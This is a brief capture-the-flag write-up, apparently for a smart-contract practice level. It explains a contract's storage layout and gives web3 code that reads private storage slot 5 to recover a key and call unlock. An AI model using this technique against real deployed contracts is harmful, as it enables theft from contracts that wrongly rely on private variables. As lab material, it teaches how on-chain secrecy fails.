we can read the memory to find the key. the position is 5 since:
- is the locked
bool
uint256
with the block timestamp- contains flattening, denomination and awkwardness (
uint8
+uint8
+uint16
) - data[0]
- data[1]
- data[2]
const data = await web3.eth.getStorageAt(instance, 5);
const key = data.slice(0, 34);
contract.unlock(key);